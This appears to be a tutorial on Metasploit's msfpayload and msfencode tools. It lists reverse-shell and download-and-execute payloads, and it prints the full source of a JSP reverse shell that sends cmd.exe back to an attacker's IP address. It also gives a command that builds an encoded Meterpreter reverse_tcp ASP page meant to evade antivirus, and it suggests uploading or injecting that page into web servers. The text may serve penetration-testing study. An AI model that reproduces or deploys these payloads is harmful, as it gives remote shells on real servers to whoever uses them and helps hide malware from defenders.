There are several flavors you can now export your payloads in Metasploit, making the insertion of them more and more flexible. If we use the msfpayload command alone we can generate the following output of buffers for the Payloads:
- C
- Perl
- Ruby –
- JavaScript
- Executable
- VBA Raw
The output for the programming languages can be used in exploit code being developed or inserted into programs, Raw can be passed to msfencode for further processing and the executable can be used to generate a single file executable that depending on the payload it will be the executable type created and Architecture. Currently executables can be created for the following OS:
- Windows (x86 and x64)
- AIX (PPC)
- Solaris (Sparc and x86)
- Linux (Mips, PPC and x86)
- OSX (ARM, PPC and Intel)
- BSD (Sparc and x86)
To get a list of all payloads and their description just run the program msfpayload wit the âh flag:
1: ./msfpayload -h
2:
3: Usage: ./msfpayload <payload> [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]avascript|e[X]ecutable|[V]BA>
4:
5: Framework Payloads (198 total)
6: ==============================
7:
8: Name Description
9: ---- -----------
10: ................
11: java/jsp_shell_bind_tcp Listen for a connection and spawn a command shell
12: java/jsp_shell_reverse_tcp Connect back to attacker and spawn a command shell
13:
14: ................
15: php/bind_perl Listen for a connection and spawn a command shell via perl (persistent)
16: php/bind_php Listen for a connection and spawn a command shell via php
17: php/download_exec Download an EXE from a HTTP URL and execute it
18: php/exec Execute a single system command
19: php/reverse_perl Creates an interactive shell via perl
20: php/reverse_php Reverse PHP connect back shell with checks for disabled functions
21: php/shell_findsock
22: Spawn a shell on the established connection to
23: the webserver. Unfortunately, this payload
24: leaves conspicuous evil-looking entries in the
25: apache error logs, so it is probably a good idea
26: to use a bind or reverse shell unless firewalls
27: prevent them from working. The issue this
28: payload takes advantage of (CLOEXEC flag not set
29: on sockets) appears to have been patched on the
30: Ubuntu version of Apache and may not work on
31: other Debian-based distributions. Only tested on
32: Apache but it might work on other web servers
33: that leak file descriptors to child processes.
If we take a look at the snipped of output shown bellow you can see that several payloads are actually code that we can turn to code that can be placed in a web server for execution, the 2 types of payloads that allow us to do this are Java jsp and PHP code, just set the output to Raw and save the output to a file.
To get the list of options you just use the Summarize option.
1: ./msfpayload java/jsp_shell_reverse_tcp S
2:
3: Name: Java JSP Command Shell, Reverse TCP Inline
4: Version: 7550
5: Platform: Windows, OSX, Linux, Unix, Solaris
6: Arch: java
7: Needs Admin: No
8: Total size: 0
9: Rank: Normal
10:
11: Provided by:
12: sf <[email protected]>
13:
14: Basic options:
15: Name Current Setting Required Description
16: ---- --------------- -------- -----------
17: LHOST yes The local address
18: LPORT 4444 yes The local port
19: SHELL cmd.exe yes The system shell to use.
20:
21: Description:
22: Connect back to attacker and spawn a command shell
23:
Lets generate a JSP file with some options so as to run it on a Windows server supporting JSP like an Oracle Application server
1: ./msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.1.224,LPORT=8080 R > /tmp/reversejsp.jsp
if we now take a look at the code generated it will look like this:
1:
2: <%@page import="java.lang.*"%>
3: <%@page import="java.util.*"%>
4: <%@page import="java.io.*"%>
5: <%@page import="java.net.*"%>
6:
7: <%
8: class StreamConnector extends Thread
9: {
10: InputStream is;
11: OutputStream os;
12:
13: StreamConnector( InputStream is, OutputStream os )
14: {
15: this.is = is;
16: this.os = os;
17: }
18:
19: public void run()
20: {
21: BufferedReader in = null;
22: BufferedWriter out = null;
23: try
24: {
25: in = new BufferedReader( new InputStreamReader( this.is ) );
26: out = new BufferedWriter( new OutputStreamWriter( this.os ) );
27: char buffer[] = new char[8192];
28: int length;
29: while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
30: {
31: out.write( buffer, 0, length );
32: out.flush();
33: }
34: } catch( Exception e ){}
35: try
36: {
37: if( in != null )
38: in.close();
39: if( out != null )
40: out.close();
41: } catch( Exception e ){}
42: }
43: }
44:
45: try
46: {
47: Socket socket = new Socket( "192.168.1.224", 8080 );
48: Process process = Runtime.getRuntime().exec( "cmd.exe" );
49: ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
50: ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
51: } catch( Exception e ) {}
52: %>
53:
As it can be seen this is code where the code in lines 47 thru 50 is executing the cmd.exe command and piping the output thru a socket back to the attacker, the shell is also an option that can be changed to be /bin/bash if setting on a Linux host.
Now if we want other formats not included in msfpayload and we want to also obfuscate by encoding our payload so as to make it more difficult to detect by AV (Anti Virus) and HIPS (Host Intrusion Prevention System) we use the msfencode command:
1: ./msfencode -h
2:
3: Usage: ./msfencode <options>
4:
6:
7: -a <opt> The architecture to encode as
8: -b <opt> The list of characters to avoid: 'x00xff'
9: -c <opt> The number of times to encode the data
10: -e <opt> The encoder to use
11: -h Help banner
12: -i <opt> Encode the contents of the supplied file path
13: -l List available encoders
14: -m <opt> Specifies an additional module search path
15: -n Dump encoder information
16: -o <opt> The output file
17: -p <opt> The platform to encode for
18: -s <opt> The maximum size of the encoded data
19: -t <opt> The format to display the encoded buffer with (c, elf, exe, java, perl, raw, ruby, vba, vbs, loop-vbs, asp)
20: -x <opt> Specify an alternate win32 executable template
21:
By piping the Raw output to msfencode we can manipulate even more the payload, some of the most used options are the following:
- -a for specifying the architecture(x86, x64).
- -c to specify the number of encoded to do.
- -i for the encode type.
- -t for the format of the buffer.
There are different encoding types and they are rated on their effectiveness, to get a list we use the âl option:
1: ./msfencode -l
2:
3: Framework Encoders
4: ==================
5:
6: Name Rank Description
7: ---- ---- -----------
8: cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
9: cmd/ifs low Generic ${IFS} Substitution Command Encoder
10: generic/none normal The "none" Encoder
11: mipsbe/longxor normal XOR Encoder
12: mipsle/longxor normal XOR Encoder
13: php/base64 normal PHP Base64 encoder
14: ppc/longxor normal PPC LongXOR Encoder
15: ppc/longxor_tag normal PPC LongXOR Encoder
16: sparc/longxor_tag normal SPARC DWORD XOR Encoder
17: x64/xor normal XOR Encoder
18: x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
19: x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
20: x86/avoid_utf8_tolower manual Avoid UTF8/tolower
21: x86/call4_dword_xor normal Call+4 Dword XOR Encoder
22: x86/countdown normal Single-byte XOR Countdown Encoder
23: x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
24: x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
25: x86/nonalpha low Non-Alpha Encoder
26: x86/nonupper low Non-Upper Encoder
27: x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
28: x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
29: x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
The highest one rank is x86/shikata_ga_nai for X86 code, do notice that depending on the payload you must be careful that the encoding and the architecture for which you are generating the payload match.
In the format buffers we get the same as with msfpayload but we also get some very interesting ones like:
- elf â ELF (Executable and Linking Format) Binary executable for Linux system
- vbs â Visual Basic Scripting
- loop-vbs- Visual Basic Script that will loop and re-execute every x number of seconds specified in the options
- ASP â Active Server Pages from Microsoft’s .Net Framework.
As it can be seen we have some very interesting options for outputting our code and delivering it to our targets.
Lets generate a Meterpreter payload, encoded several times and convert it to an ASP page:
1: ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.224,LPORT=993 R | ./msfencode -c 5 -e x86/shikata_ga_nai -a X86 -t asp > evilpage.asp
2: [*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
3:
4: [*] x86/shikata_ga_nai succeeded with size 345 (iteration=2)
5:
6: [*] x86/shikata_ga_nai succeeded with size 372 (iteration=3)
7:
8: [*] x86/shikata_ga_nai succeeded with size 399 (iteration=4)
9:
10: [*] x86/shikata_ga_nai succeeded with size 426 (iteration=5
Now this ASP page can be uploaded to a web server or place inside the code of a valid ASP page thru injection.
One important note is the more you encode the bigger the file so keep that in mind if your delivery mechanism is affected by the size.
As it can be seen Metasploit gives a large set of formats to export our payloads thus giving greater flexibility on avenues of attack.
